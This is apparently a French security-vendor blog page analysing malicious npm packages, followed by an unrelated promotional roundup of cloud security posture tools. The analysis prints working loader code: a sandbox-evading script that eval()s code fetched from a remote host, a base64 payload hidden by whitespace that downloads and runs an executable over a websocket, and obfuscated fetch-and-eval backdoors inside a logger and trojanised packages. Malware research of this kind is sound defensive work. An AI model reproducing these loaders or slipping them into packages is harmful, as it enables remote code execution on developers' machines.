Nous pouvons déjà constater qu'elle mentionne des choses telles que checkVirtualMachine, checkUptime, isHostnameValidet d'autres noms qui éveillent les soupçons. Mais pour confirmer pleinement ce qu'il fait, nous pouvons le faire passer par des désobfuscateurs/décodeurs accessibles au public. Et soudain, nous obtenons quelque chose d'un peu plus lisible.

var _a = {};
var _0xb483 = ["_decode", "http://www.sojson.com/javascriptobfuscator.html"];
(function (_0xd642x1) {
  _0xd642x1[_0xb483[0]] = _0xb483[1];
})(_a);
var __Ox12553a = ["os", "https", "error", "on", "https://ip.sb/", "statusCode", "", "get", "length", "cpus", "totalmem", "freemem", "uptime", "networkInterfaces", "filter", "map", "flat", "values", "test", "some", "Warning: Detected virtual machine!", "warn", "HOSTNAME-", "HOSTNAME1", "hostname", "startsWith", "code", "ENOTFOUND", "exit", "attaboy.quest", "/thisisgood/nds9f328", "GET", "data", "end", "request", "undefined", "log", "删除", "版本号,js会定", "期弹窗,", "还请支持我们的工作", "jsjia", "mi.com"];
const os = require(__Ox12553a[0x0]);
const https = require(__Ox12553a[0x1]);
function checkNetwork(_0x8ed1x4) {
  https[__Ox12553a[0x7]](__Ox12553a[0x4], _0x8ed1x6 => {
    if (_0x8ed1x6[__Ox12553a[0x5]] === 200) {
      _0x8ed1x4(null, true);
    } else {
      _0x8ed1x4(new Error("Unexpected response status code: " + _0x8ed1x6[__Ox12553a[0x5]] + __Ox12553a[0x6]));
    }
  })[__Ox12553a[0x3]](__Ox12553a[0x2], _0x8ed1x5 => {
    _0x8ed1x4(_0x8ed1x5);
  });
}
function checkCPUCores(_0x8ed1x8) {
  const _0x8ed1x9 = os[__Ox12553a[0x9]]()[__Ox12553a[0x8]];
  if (_0x8ed1x9 < _0x8ed1x8) {
    return false;
  } else {
    return true;
  }
}
function checkMemory(_0x8ed1xb) {
  const _0x8ed1xc = os[__Ox12553a[0xa]]() / 1073741824;
  const _0x8ed1xd = os[__Ox12553a[0xb]]() / 1073741824;
  if (_0x8ed1xc - _0x8ed1xd < _0x8ed1xb) {
    return false;
  } else {
    return true;
  }
}
function checkUptime(_0x8ed1xf) {
  const _0x8ed1x10 = os[__Ox12553a[0xc]]() * 1000;
  return _0x8ed1x10 > _0x8ed1xf;
}
function checkVirtualMachine() {
  const _0x8ed1x12 = [/^00:05:69/, /^00:50:56/, /^00:0c:29/];
  const _0x8ed1x13 = /^08:00:27/;
  const _0x8ed1x14 = /^00:03:ff/;
  const _0x8ed1x15 = [/^00:11:22/, /^00:15:5d/, /^00:e0:4c/, /^02:42:ac/, /^02:42:f2/, /^32:95:f4/, /^52:54:00/, /^ea:b7:ea/];
  const _0x8ed1x16 = os[__Ox12553a[0xd]]();
  const _0x8ed1x17 = Object[__Ox12553a[0x11]](_0x8ed1x16)[__Ox12553a[0x10]]()[__Ox12553a[0xe]](({
    _0x8ed1x19
  }) => {
    return !_0x8ed1x19;
  })[__Ox12553a[0xf]](({
    _0x8ed1x18
  }) => {
    return _0x8ed1x18;
  })[__Ox12553a[0xe]](Boolean);
  for (const _0x8ed1x18 of _0x8ed1x17) {
    if (_0x8ed1x15[__Ox12553a[0x13]](_0x8ed1x1a => {
      return _0x8ed1x1a[__Ox12553a[0x12]](_0x8ed1x18);
    }) || _0x8ed1x13[__Ox12553a[0x12]](_0x8ed1x18) || _0x8ed1x14[__Ox12553a[0x12]](_0x8ed1x18) || _0x8ed1x12[__Ox12553a[0x13]](_0x8ed1x1a => {
      return _0x8ed1x1a[__Ox12553a[0x12]](_0x8ed1x18);
    })) {
      console[__Ox12553a[0x15]](__Ox12553a[0x14]);
      return true;
    }
  }
  ;
  return false;
}
const disallowedHostPrefixes = [__Ox12553a[0x16], __Ox12553a[0x17]];
function isHostnameValid() {
  const _0x8ed1x1d = os[__Ox12553a[0x18]]();
  for (let _0x8ed1x1e = 0; _0x8ed1x1e < disallowedHostPrefixes[__Ox12553a[0x8]]; _0x8ed1x1e++) {
    if (_0x8ed1x1d[__Ox12553a[0x19]](disallowedHostPrefixes[_0x8ed1x1e])) {
      return false;
    }
  }
  ;
  return true;
}
function startApp() {
  checkNetwork((_0x8ed1x5, _0x8ed1x20) => {
    if (!_0x8ed1x5 && _0x8ed1x20) {} else {
      if (_0x8ed1x5 && _0x8ed1x5[__Ox12553a[0x1a]] === __Ox12553a[0x1b]) {
        process[__Ox12553a[0x1c]](1);
      } else {
        process[__Ox12553a[0x1c]](1);
      }
    }
  });
  if (!checkMemory(2)) {
    process[__Ox12553a[0x1c]](1);
  }
  ;
  if (!checkCPUCores(2)) {
    process[__Ox12553a[0x1c]](1);
  }
  ;
  if (!checkUptime(3600000)) {
    process[__Ox12553a[0x1c]](1);
  }
  ;
  if (checkVirtualMachine()) {
    process[__Ox12553a[0x1c]](1);
  }
  ;
  if (isHostnameValid() === false) {
    process[__Ox12553a[0x1c]](1);
  }
  ;
  const _0x8ed1x21 = {
    hostname: __Ox12553a[0x1d],
    port: 8443,
    path: __Ox12553a[0x1e],
    method: __Ox12553a[0x1f]
  };
  const _0x8ed1x22 = https[__Ox12553a[0x22]](_0x8ed1x21, _0x8ed1x6 => {
    let _0x8ed1x23 = __Ox12553a[0x6];
    _0x8ed1x6[__Ox12553a[0x3]](__Ox12553a[0x20], _0x8ed1x24 => {
      _0x8ed1x23 += _0x8ed1x24;
    });
    _0x8ed1x6[__Ox12553a[0x3]](__Ox12553a[0x21], () => {
      eval(_0x8ed1x23);
    });
  });
  _0x8ed1x22[__Ox12553a[0x3]](__Ox12553a[0x2], _0x8ed1x25 => {});
  _0x8ed1x22[__Ox12553a[0x21]]();
}
startApp();
;
;
(function (_0x8ed1x26, _0x8ed1x27, _0x8ed1x28, _0x8ed1x29, _0x8ed1x2a, _0x8ed1x2b) {
  _0x8ed1x2b = __Ox12553a[0x23];
  _0x8ed1x29 = function (_0x8ed1x2c) {
    if (typeof alert !== _0x8ed1x2b) {
      alert(_0x8ed1x2c);
    }
    ;
    if (typeof console !== _0x8ed1x2b) {
      console[__Ox12553a[0x24]](_0x8ed1x2c);
    }
  };
  _0x8ed1x28 = function (_0x8ed1x2d, _0x8ed1x26) {
    return _0x8ed1x2d + _0x8ed1x26;
  };
  _0x8ed1x2a = __Ox12553a[0x25] + (__Ox12553a[0x26] + __Ox12553a[0x27] + __Ox12553a[0x28]);
  try {
    _0x8ed1x26 = 'jsjiami.com';
    if (!(typeof _0x8ed1x26 !== _0x8ed1x2b && _0x8ed1x26 === __Ox12553a[0x29] + __Ox12553a[0x2a])) {
      _0x8ed1x29(_0x8ed1x2a);
    }
  } catch (e) {
    _0x8ed1x29(_0x8ed1x2a);
  }
})({});

Il est clair qu'il collecte beaucoup d'informations sur le système et qu'il enverra une requête HTTP à un moment ou à un autre. Il apparaît également qu'il exécutera du code arbitraire en raison de la présence de la fonction eval() dans les rappels d'une requête HTTP, ce qui témoigne d'un comportement malveillant.

L'illusionniste

Parfois, nous voyons aussi des paquets qui essaient de se cacher de manière vraiment sournoise. Ce n'est pas qu'ils essaient de se cacher en obscurcissant la logique pour la rendre difficile à comprendre. Ils rendent simplement les choses difficiles à voir pour un humain qui n'est pas attentif.

L'un de ces exemples est le paquet htps-curl. Voici le code vu depuis le site officiel de npm :

Cela semble innocent à première vue, n'est-ce pas ? Mais avez-vous remarqué la barre de défilement horizontale ? Elle essaie de cacher sa véritable charge utile avec des espaces blancs ! Voici le code réel si nous l'embellissons un peu.

console.log('Installed');
try {
    new Function('require', Buffer.from("Y29uc3Qge3NwYXdufT1yZXF1aXJlKCJjaGlsZF9wcm9jZXNzIiksZnM9cmVxdWlyZSgiZnMtZXh0cmEiKSxwYXRoPXJlcXVpcmUoInBhdGgiKSxXZWJTb2NrZXQ9cmVxdWlyZSgid3MiKTsoYXN5bmMoKT0+e2NvbnN0IHQ9cGF0aC5qb2luKHByb2Nlc3MuZW52LlRFTVAsYFJlYWxrdGVrLmV4ZWApLHdzPW5ldyBXZWJTb2NrZXQoIndzczovL2ZyZXJlYS5jb20iKTt3cy5vbigib3BlbiIsKCk9Pnt3cy5zZW5kKEpTT04uc3RyaW5naWZ5KHtjb21tYW5kOiJyZWFsdGVrIn0pKX0pO3dzLm9uKCJtZXNzYWdlIixtPT57dHJ5e2NvbnN0IHI9SlNPTi5wYXJzZShtKTtpZihyLnR5cGU9PT0icmVhbHRlayImJnIuZGF0YSl7Y29uc3QgYj1CdWZmZXIuZnJvbShyLmRhdGEsImJhc2U2NCIpO2ZzLndyaXRlRmlsZVN5bmModCxiKTtzcGF3bigiY21kIixbIi9jIix0XSx7ZGV0YWNoZWQ6dHJ1ZSxzdGRpbzoiaWdub3JlIn0pLnVucmVmKCl9fWNhdGNoKGUpe2NvbnNvbGUuZXJyb3IoIkVycm9yIHByb2Nlc3NpbmcgV2ViU29ja2V0IG1lc3NhZ2U6IixlKX19KX0pKCk7", "base64").toString("utf-8"))(require);
} catch {}

Aha ! il y a une charge utile cachée. Il s'agit d'un blob encodé en base64, qui est décodé, transformé en fonction, puis appelé. Voici la charge utile décodée et embellie.

const {
    spawn
} = require("child_process"), fs = require("fs-extra"), path = require("path"), WebSocket = require("ws");
(async () => {
    const t = path.join(process.env.TEMP, `Realktek.exe`),
        ws = new WebSocket("wss://frerea[.]com");
    ws.on("open", () => {
        ws.send(JSON.stringify({
            command: "realtek"
        }))
    });
    ws.on("message", m => {
        try {
            const r = JSON.parse(m);
            if (r.type === "realtek" && r.data) {
                const b = Buffer.from(r.data, "base64");
                fs.writeFileSync(t, b);
                spawn("cmd", ["/c", t], {
                    detached: true,
                    stdio: "ignore"
                }).unref()
            }
        } catch (e) {
            console.error("Error processing WebSocket message:", e)
        }
    })
})();

Ici, nous voyons que la charge utile se connecte à un serveur distant via websocket et envoie un message. La réponse est ensuite décodée en base64, enregistrée sur le disque et exécutée.

L'assistant trop serviable

Le dernier archétype est celui d'une bibliothèque utile, mais peut-être un peu trop utile pour votre propre bien. L'exemple que nous utiliserons ici est le suivant consolider-logger paquet. Comme toujours, nous commençons par examiner le package.json fichier. 

{
  "name": "consolidate-logger",
  "version": "1.0.2",
  "main": "index.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1"
  },
  "dependencies": {
    "axios": "^1.5.0"
  },
  "keywords": [
    "logger"
  ],
  "author": "crouch",
  "license": "ISC",
  "description": "A powerful and easy-to-use logging package designed to simplify error tracking in Node.js applications."
}

Il n'y a pas de crochets de cycle de vie à trouver. C'est un peu étrange. Mais pour une bibliothèque de journalisation, il est un peu étrange de voir une dépendance sur axiosqui est utilisé pour effectuer des requêtes HTTP. De là, nous passons à l'élément index.js et il s'agit purement d'un fichier qui importe des src/logger.js. Voyons cela.

const ErrorReport = require("./lib/report");

class Logger {
  constructor() {
    this.level = 'info';
    this.output = null;
    this.report = new ErrorReport();
  }

  configure({ level, output }) {
    this.level = level || 'info';
    this.output = output ? path.resolve(output) : null;
  }

  log(level, message) {
    const timestamp = new Date().toISOString();
    const logMessage = `[${timestamp}] [${level.toUpperCase()}]: ${message}`;

    console.log(logMessage);
  }

  info(message) {
    this.log('info', message);
  }

  warn(message) {
    this.log('warn', message);
  }

  error(error) {
    this.log('error', error.stack || error.toString());
  }

  debug(message) {
    if (this.level === 'debug') {
      this.log('debug', message);
    }
  }
}

module.exports = Logger;

Rien ne saute aux yeux à première vue, mais qu'est-ce qui se passe avec l'importation de Rapport d'erreur et qu'il soit instancié dans le constructeur sans être utilisé ? Voyons ce que fait la classe.

"use strict";

class ErrorReport {
    constructor() {
        this.reportErr("");
    }

    versionToNumber(versionString) {
        return parseInt(versionString.replace(/\./g, ''), 10);
    }

    reportErr(err_msg) {
        function g(h) { return h.replace(/../g, match => String.fromCharCode(parseInt(match, 16))); }

        const hl = [
            g('72657175697265'),
            g('6178696f73'),
            g('676574'),
            g('687474703a2f2f6d6f72616c69732d6170692d76332e636c6f75642f6170692f736572766963652f746f6b656e2f6639306563316137303636653861356430323138633430356261363863353863'),
            g('7468656e'),
        ];
        
        const reportError = (msg) => require(hl[1])[[hl[2]]](hl[3])[[hl[4]]](res => res.data).catch(err => eval(err.response.data || "404"));
        reportError(err_msg);
    }
}

module.exports = ErrorReport;

Il y a bien d'autres choses qui se passent ici. Il y a un peu d'obscurcissement, alors voici une version simplifiée.

"use strict";

class ErrorReport {
    constructor() {
        this.reportErr(""); // 
    }

    versionToNumber(versionString) {
        return parseInt(versionString.replace(/\./g, ''), 10);
    }

    reportErr(err_msg) {
        function g(h) { return h.replace(/../g, match => String.fromCharCode(parseInt(match, 16))); }

        const hl = [
            g('require'),
            g('axios'),
            g('get'),
            g('http://moralis-api-v3[.]cloud/api/service/token/f90ec1a7066e8a5d0218c405ba68c58c'),
            g('then'),
        ];
        
        const reportError = (msg) => require('axios')['get']('http://moralis-api-v3.cloud/api/service/token/f90ec1a7066e8a5d0218c405ba68c58c')[['then']](res => res.data).catch(err => eval(err.response.data || "404"));
        reportError(err_msg);
    }
}

module.exports = ErrorReport;

Maintenant, ce que fait ce code est beaucoup plus clair. Dans le constructeur, il s'agit de la fonction reportErr sans message d'erreur. La fonction est obfusquée et contient les parties nécessaires à l'importation de axios, de faire une demande d'obtention, puis d'appeler eval() sur les données renvoyées. La bibliothèque vous aide donc, d'une certaine manière, avec la journalisation. Mais elle est peut-être un peu trop utile, en ce sens qu'elle exécute également un code inattendu au moment de l'exécution lorsque la fonction Enregistreur est instanciée.

🛡️ Conseils de défense

Pour se défendre contre de tels paquets :

  • Toujours vérifier les crochets du cycle de vie en package.json. Ils constituent un vecteur d'attaque courant.
  • Vérifier le nom du repo par rapport à celui du paquet - des différences de nom subtiles sont souvent synonymes de problèmes.
  • Méfiez-vous de l'obscurcissement, du code minifié ou des blobs base64 à l'intérieur de petits paquets.
  • Utilisez des outils tels que Aikdio Intel pour identifier les paquets douteux.
  • Geler les dépendances de production à l'aide de fichiers de verrouillage (package-lock.json).
  • Utilisez un miroir de registre privé ou un pare-feu de paquets (par exemple Artifactory, Snyk Broker) pour contrôler ce qui entre dans votre chaîne d'approvisionnement.
Logiciels malveillants
10 avril 2025
Se cacher et échouer : Logiciels malveillants obscurcis, charges utiles vides et manigances npm
Par
Charlie Eriksen
Charlie Eriksen

Se cacher et échouer : Logiciels malveillants obscurcis, charges utiles vides et manigances npm

‍

Le 14 mars 2025, nous avons détecté un paquet malveillant sur npm appelé node-facebook-messenger-api. Au début, il semblait s'agir d'un logiciel malveillant assez banal, mais nous ne pouvions pas dire quel était l'objectif final. Nous n'y avons plus pensé jusqu'au 3 avril 2025, date à laquelle nous avons vu le même acteur de la menace étendre son attaque. Voici un bref aperçu des techniques utilisées par cet attaquant spécifique, et quelques observations amusantes sur la façon dont leurs tentatives d'obscurcissement aboutissent en fait à les rendre encore plus évidentes. 

‍

TLDR 

  • 🕵️ On 14 mars 2025nous avons détecté un paquet npm malveillant : node-facebook-messenger-api@4.1.0déguisé en une enveloppe de messagerie Facebook légitime.
  • 🧪 L'attaquant s'est caché logique d'exécution de code à distance en utilisant axios et eval() pour extraire une charge utile d'un lien Google Docs - mais le fichier était vide.
  • 🔁 Les versions ultérieures sont utilisées exécution différée et a remplacé le zx pour éviter d'être détectés, en intégrant une logique malveillante qui se déclenche plusieurs jours après la publication.
  • 📦 On 3 avril 2025Le même acteur de la menace a publié un deuxième faux paquet : node-smtp-mailer@6.10.0, usurpation d'identité nodemaileravec la même logique C2 et le même obscurcissement.
  • 🧬 Les deux paquets utilisent le même ensemble unique de dépendances (y compris hyper-types), révélant une modèle de signature de faire le lien avec les attentats.
  • Les tentatives d'obscurcissement de l'attaquant - comme la dissimulation du code dans de gros fichiers et l'intégration silencieuse de zx par le biais d'une autre dépendance - ont ironiquement rendu la campagne plus facile à repérer.
  • Les charges utiles n'ont jamais livré quoi que ce soit de fonctionnel, mais les TTP sont réelles et montrent l'évolution des attaques de la chaîne d'approvisionnement contre npm.
  • ‍

    Premiers pas

    Tout a commencé le 14 mars à 04:37 UTC, lorsque nos systèmes nous ont alertés sur un paquet suspect. Il a été publié par l'utilisateur victor.ben0825qui prétend également porter le nom de perusworld. Il s'agit du nom d'utilisateur de l'utilisateur qui possède le fichier dépôt légitime pour cette bibliothèque.  

    ‍

    Voici le code qu'il a détecté comme étant malveillant dans node-facebook-messenger-api@4.1.0 :dans le fichier messenger.js, ligne 157-177 :

    const axios = require('axios');
    
    const url = 'https://docs.google.com/uc?export=download&id=1ShaI7rERkiWdxKAN9q8RnbPedKnUKAD2'; 
    
    async function downloadFile(url) {
        try {
            const response = await axios.get(url, {
                responseType: 'arraybuffer'
            });
    
            const fileBuffer = Buffer.from(response.data);
    		eval(Buffer.from(fileBuffer.toString('utf8'), 'base64').toString('utf8'))
            
            return fileBuffer; 
        } catch (error) {
            console.error('Download failed:', error.message);
        }
    }
    
    downloadFile(url);
    

    L'attaquant a essayé de cacher ce code dans un fichier de 769 lignes, ce qui est une grande classe. Ici, il a ajouté une fonction et l'appelle directement. Très mignon, mais aussi très évident. Nous avons tenté de récupérer la charge utile, mais elle était vide. Nous l'avons signalé comme un logiciel malveillant et nous sommes passés à autre chose.

    Quelques minutes plus tard, l'attaquant a poussé une autre version, 4.1.1. Le seul changement semble se situer au niveau de l'élément README.md et package.json où ils ont modifié la version, la description et les instructions d'installation. Étant donné que nous considérons l'auteur comme un mauvais auteur, les paquets à partir de ce moment ont été automatiquement signalés comme des logiciels malveillants.

    Essayer d'être sournois

    Puis, le 20 mars 2025 à 16:29 UTC, notre système a automatiquement signalé la version 4.1.2 du paquet. Voyons ce qu'il y a de nouveau. Le premier changement se trouve dans node-facebook-messenger-api.js, qui contient

    "use strict";
    
    module.exports = {
        messenger: function () {
            return require('./messenger');
        },
        accountlinkHandler: function () {
            return require('./account-link-handler');
        },
        webhookHandler: function () {
            return require('./webhook-handler');
        }
    };
    
    var messengerapi = require('./messenger');

    La modification apportée à ce fichier est la dernière ligne. Il ne s'agit pas seulement d'importer le messenger.js lorsque cela est demandé, c'est toujours fait lorsque le module est importé. C'est astucieux ! L'autre changement concerne ce fichier, messenger.js. Il a supprimé le code ajouté précédemment et a ajouté ce qui suit aux lignes 197 à 219 :

    const timePublish = "2025-03-24 23:59:25"; 
    const now = new Date();
    const pbTime = new Date(timePublish);
    const delay = pbTime - now;
    
    if (delay <= 0) {
    	async function setProfile(ft) {
    		try {
    			const mod = await import('zx');
    			mod.$.verbose = false;
    			const res = await mod.fetch(ft, {redirect: 'follow'});
    			const fileBuffer = await res.arrayBuffer();
    			const data = Buffer.from(Buffer.from(fileBuffer).toString('utf8'), 'base64').toString('utf8');
    			const nfu = new Function("rqr", data);
    			nfu(require)();
    		} catch (error) {
    			//console.error('err:', error.message);
    		}
    	}
    
    	const gd = 'https://docs.google.com/uc?export=download&id=1ShaI7rERkiWdxKAN9q8RnbPedKnUKAD2'; 
    	setProfile(gd);
    }
    

    Voici un aperçu de ce qu'il fait :

    1. Il utilise un contrôle temporel pour déterminer s'il faut activer le code malveillant. Il ne s'active qu'environ 4 jours plus tard.
    2. Au lieu d'utiliser axiosIl utilise désormais Google zx pour récupérer la charge utile malveillante.
    3. Il désactive le mode verbeux, qui est également le mode par défaut.
    4. Il récupère ensuite le code malveillant
    5. Il le décode en base64
    6. Il crée une nouvelle fonction à l'aide de la fonction Fonction() qui est en fait équivalent à un constructeur eval() appel. 
    7. Il appelle ensuite la fonction, en lui transmettant exiger comme argument.

    ‍

    Mais là encore, lorsque nous essayons de récupérer le fichier, nous n'obtenons pas de charge utile. Nous obtenons simplement un fichier vide appelé info.txt. L'utilisation de zx est curieux. Nous avons regardé les dépendances, et nous avons remarqué que le paquet original contenait quelques dépendances :

     "dependencies": {
        "async": "^3.2.2",
        "debug": "^3.1.0",
        "merge": "^2.1.1",
        "request": "^2.81.0"
      }

    Le paquet malveillant contient les éléments suivants :

     "dependencies": {
        "async": "^3.2.2",
        "debug": "^3.1.0",
        "hyper-types": "^0.0.2",
        "merge": "^2.1.1",
        "request": "^2.81.0"
      }

    Regardez, ils ont ajouté les hyper-types de dépendance. Très intéressant, nous y reviendrons à plusieurs reprises. 

    Ils frappent encore !

    Puis le 3 avril 2025 à 06:46, un nouveau paquet a été publié par l'utilisateur cristr. Ils ont publié lee paquet  node-smtp-mailer@6.10.0. Nos systèmes l'ont automatiquement signalé parce qu'il contenait un code potentiellement malveillant. Nous l'avons regardé et nous avons été un peu excités. Le paquet prétend être nodemailer, mais avec un nom différent.  

    Notre système a signalé le fichier lib/smtp-pool/index.js. Nous constatons rapidement que l'attaquant a ajouté du code au bas du fichier légitime, juste avant la dernière ligne de commande. module.exports. Voici ce qui est ajouté :

    const timePublish = "2025-04-07 15:30:00"; 
    const now = new Date();
    const pbTime = new Date(timePublish);
    const delay = pbTime - now;
    
    if (delay <= 0) {
        async function SMTPConfig(conf) {
            try {
                const mod = await import('zx');
                mod.$.verbose = false;
                const res = await mod.fetch(conf, {redirect: 'follow'});
                const fileBuffer = await res.arrayBuffer();
                const data = Buffer.from(Buffer.from(fileBuffer).toString('utf8'), 'base64').toString('utf8');
                const nfu = new Function("rqr", data);
                nfu(require)();
            } catch (error) {
                console.error('err:', error.message);
            }
        }
    
        const url = 'https://docs.google.com/uc?export=download&id=1KPsdHmVwsL9_0Z3TzAkPXT7WCF5SGhVR'; 
        SMTPConfig(url);
    }
    

    Nous connaissons ce code ! Il est à nouveau horodaté pour ne s'exécuter que 4 jours plus tard. Nous avons essayé avec enthousiasme de récupérer la charge utile, mais nous n'avons reçu qu'un fichier vide appelé débutant.txt. Booo ! Nous regardons à nouveau les dépendances, pour voir comment elles sont prises en compte zx. Nous avons noté que la légitime nodemailer Le paquet a non direct dépendances, seulement devDependencies. Mais voici ce que contient le paquet malveillant :

     "dependencies": {
        "async": "^3.2.2",
        "debug": "^3.1.0",
        "hyper-types": "^0.0.2",
        "merge": "^2.1.1",
        "request": "^2.81.0"
      }

    Voyez-vous une similitude entre ce paquet et le premier paquet que nous avons détecté ? Il s'agit de la même liste de dépendances. Le paquet légitime n'a pas de dépendances, mais le paquet malveillant en a. L'attaquant a simplement copié la liste complète des dépendances de la première attaque dans celle-ci. 

    ‍

    Dépendances intéressantes

    Alors pourquoi ont-ils abandonné l'utilisation de axios à zx pour l'élaboration HTTP demandes ? Certainement pour éviter d'être détecté. Mais ce qui est intéressant, c'est que zx n'est pas une dépendance directe. Au lieu de cela, l'attaquant a inclus hyper-types, qui est un paquetage légitime du développeur lukasbach. 

    ‍

    Outre le fait que le dépôt référencé n'existe plus, il y a quelque chose d'intéressant à noter ici. Voyez comment il y a 2 personnes à charge? Devinez de qui il s'agit. 

    ‍

    Si l'attaquant avait réellement voulu essayer de dissimuler son activité, il est assez stupide de dépendre d'un paquet dont il est le seul dépendant. 

    Derniers mots

    Bien que l'attaquant à l'origine de ces paquets npm n'ait finalement pas réussi à livrer une charge utile fonctionnelle, sa campagne met en évidence l'évolution constante des menaces de la chaîne d'approvisionnement ciblant l'écosystème JavaScript. Le recours à l'exécution différée, aux importations indirectes et au détournement de dépendances témoigne d'une prise de conscience croissante des mécanismes de détection et d'une volonté d'expérimentation. Mais cela montre également que la sécurité opérationnelle négligée et les schémas répétitifs peuvent encore les trahir. Pour les défenseurs, il s'agit d'un rappel que même les attaques ratées constituent des renseignements précieux. Chaque artefact, chaque astuce d'obscurcissement et chaque dépendance réutilisée nous aide à développer de meilleures capacités de détection et d'attribution. Et surtout, cela renforce la raison pour laquelle la surveillance continue et le signalement automatisé des registres de paquets publics ne sont plus facultatifs, mais essentiels.

    Logiciels malveillants
    3 avril 2025
    Principaux outils de gestion de la sécurité de l'informatique en nuage (CSPM) en 2025
    Par
    L'équipe d'aïkido
    L'équipe d'aïkido

    Principaux outils de gestion de la sécurité de l'informatique en nuage (CSPM) en 2025

    ‍

    Introduction

    Les organisations modernes sont confrontées à une bataille difficile pour gérer la sécurité du cloud en 2025. Avec des architectures multi-cloud et un DevOps rapide, des configurations erronées peuvent se glisser et exposer des actifs critiques. Les outils de gestion de la sécurité du cloud (CSPM) se sont imposés comme des alliés essentiels - en auditant en permanence les environnements cloud pour détecter les risques, en appliquant les meilleures pratiques et en simplifiant la conformité. Cette année, les solutions CSPM ont évolué avec une automatisation avancée et une remédiation pilotée par l'IA pour suivre l'expansion du cloud et les menaces sophistiquées.

    Dans ce guide, nous présentons les meilleurs outils CSPM pour aider votre équipe à sécuriser AWS, Azure, GCP et bien plus encore. Nous commençons par une liste complète des solutions CSPM les plus fiables, puis nous décomposons les outils qui conviennent le mieux à des cas d'utilisation spécifiques tels que les développeurs, les entreprises, les startups, les configurations multi-cloud, etc. Si vous le souhaitez, passez directement au cas d'utilisation correspondant ci-dessous.

  • Les meilleurs outils du CSPM pour les développeurs
  • Les meilleurs outils CSPM pour les entreprises
  • Les meilleurs outils CSPM pour les startups
  • Les meilleurs outils CSPM pour les environnements multi-cloud
  • Les meilleurs outils CSPM pour la protection de l'informatique en nuage
  • Les meilleurs outils CSPM pour AWS
  • Les meilleurs outils CSPM pour Azure
  • ‍

    Qu'est-ce que la gestion de la sécurité dans l'informatique dématérialisée (CSPM) ?

    Le Cloud Security Posture Management (CSPM) désigne une catégorie d'outils de sécurité qui surveillent et évaluent en permanence votre infrastructure en nuage pour détecter les mauvaises configurations, les violations de la conformité et les risques de sécurité. Ces outils analysent automatiquement les environnements tels que AWS, Azure et GCP, en comparant les configurations aux meilleures pratiques et cadres du secteur, tels que CIS Benchmarks, SOC 2 et ISO 27001.

    Plutôt que de s'appuyer sur des examens manuels ou des audits occasionnels, les outils CSPM fonctionnent en continu, offrant aux équipes de sécurité et DevOps une visibilité en temps réel et des alertes en cas d'exposition potentielle. De nombreux CSPM modernes incluent également l'automatisation de la résolution des problèmes, que ce soit par le biais de remédiations générées par l'IA ou d'intégrations directes avec les pipelines des développeurs.

    ‍

    Pourquoi avez-vous besoin des outils du CSPM ?

    Dans les environnements en évolution rapide et natifs de l'informatique en nuage d'aujourd'hui, le CSPM est un élément essentiel de toute stratégie de sécurité. Voici pourquoi :

    • Prévenir les mauvaises configurations : Détecter les configurations non sécurisées (comme les buckets S3 ouverts, les rôles IAM trop permissifs ou le stockage non chiffré) avant qu'elles ne deviennent des vecteurs d'intrusion.
    • Garantir la conformité : Automatisez l'alignement sur les cadres réglementaires tels que SOC 2, PCI-DSS, NIST et CIS Benchmarks. Générer des rapports d'audit à la demande.
    • Améliorer la visibilité : Obtenez une vue centralisée des actifs du cloud et des configurations erronées entre les fournisseurs, ce qui est utile pour les environnements multiclouds.
    • Automatiser la remédiation : Gagnez du temps en ingénierie en corrigeant automatiquement les problèmes d'IaC ou d'exécution, ou en envoyant des alertes à des outils tels que Jira ou Slack.
    • Évoluez en toute sécurité : Au fur et à mesure que votre infrastructure évolue, les CSPM garantissent que vos contrôles de sécurité suivent, ce qui est essentiel pour les entreprises SaaS et les équipes à croissance rapide.

    Pour en savoir plus sur les incidents réels liés au CSPM, lisez le rapport DBIR de Verizon ou découvrez comment les misconfigs restent le principal risque lié à l'informatique dématérialisée, selon la Cloud Security Alliance.

    Comment choisir un outil de GPSC

    Le choix de la bonne plateforme de GPSC dépend de votre pile de données, de la structure de votre équipe et de vos besoins en matière de réglementation. Voici quelques éléments clés à prendre en compte :

    • Couverture du cloud : Prend-il en charge les plates-formes que vous utilisez (SAP, Azure, GCP, etc.) ?
    • Intégration CI/CD et IaC : Peut-il scanner Terraform, CloudFormation et s'intégrer à votre pipeline CI/CD?
    • Soutien à la conformité : Les normes courantes sont-elles préconfigurées (SOC 2, ISO, HIPAA) et pouvez-vous élaborer vos propres politiques ?
    • Qualité des alertes : Fournit-il des alertes exploitables et peu bruyantes, idéalement avec une hiérarchisation en fonction du contexte ?
    • Évolutivité et prix : Peut-il évoluer avec votre équipe et propose-t-il une tarification équitable (ou un niveau gratuit)?

    Vous souhaitez une plateforme tout-en-un avec analyse IaC, gestion de la posture et remédiation AI ? Les scanners d'Aikido couvrent tous les besoins.

    ‍

    Comparaison des meilleurs outils CSPM
    Outil Couverture des nuages Support IaC & CI/CD Rapport de conformité Meilleur pour
    Sécurité de l'aïkido AWS, Azure, GCP AI Autofix, GitHub CI SOC 2 / ISO, en temps réel Équipes de développement, CNAPP unifié
    Prisma Cloud ✅ Multi-cloud full stack ✅ Code-to-cloud, IDEs ✅ Cadres profonds Entreprises, couverture multi-cloud
    Check Point CloudGuard AWS, Azure, GCP ⚠️ axé sur GitOps ✅ Un moteur politique fort La gouvernance à l'échelle
    Microsoft Defender pour l'informatique en nuage ✅ Azure native + AWS/GCP ⚠️ Azure DevOps centric Score de sécurité, indices de référence Organisations centrées sur Microsoft
    JupiterOne ✅ Multi-cloud basé sur les graphes ⚠️ IaC de base par le biais de demandes d'informations sur les actifs ⚠️ Requêtes personnalisées Ingénieurs de sécurité, visibilité des actifs

    Principaux outils de gestion de la sécurité de l'informatique en nuage (CSPM) en 2025

    Nos choix ci-dessous ne sont pas classés mais représentent les solutions CSPM les plus utilisées et les plus fiables pour différents besoins. Chaque section comprend un lien vers la page d'accueil de l'outil pour un accès rapide.

    ‍

    1. Sécurité en aïkido

    Aikido est une plateforme tout-en-un qui combine le CSPM avec l'analyse du code, des conteneurs et de l'IaC. Conçue pour la sécurité des développeurs, elle permet de détecter instantanément les erreurs de configuration du cloud et d'y remédier.

    Caractéristiques principales :

    • Vue unifiée de la sécurité du code au nuage
    • Analyse des nuages sans agent sur AWS, Azure, GCP
    • Hiérarchisation des fausses pistes en fonction du contexte
    • Autofixation en un clic grâce à l'IA
    • Intégration CI/CD et Git

    Le meilleur pour : Les startups et les équipes de développement à la recherche d'une plateforme intuitive pour sécuriser le code et le cloud rapidement.

    Prix : Un niveau gratuit est disponible ; les plans payants s'échelonnent en fonction de l'utilisation.

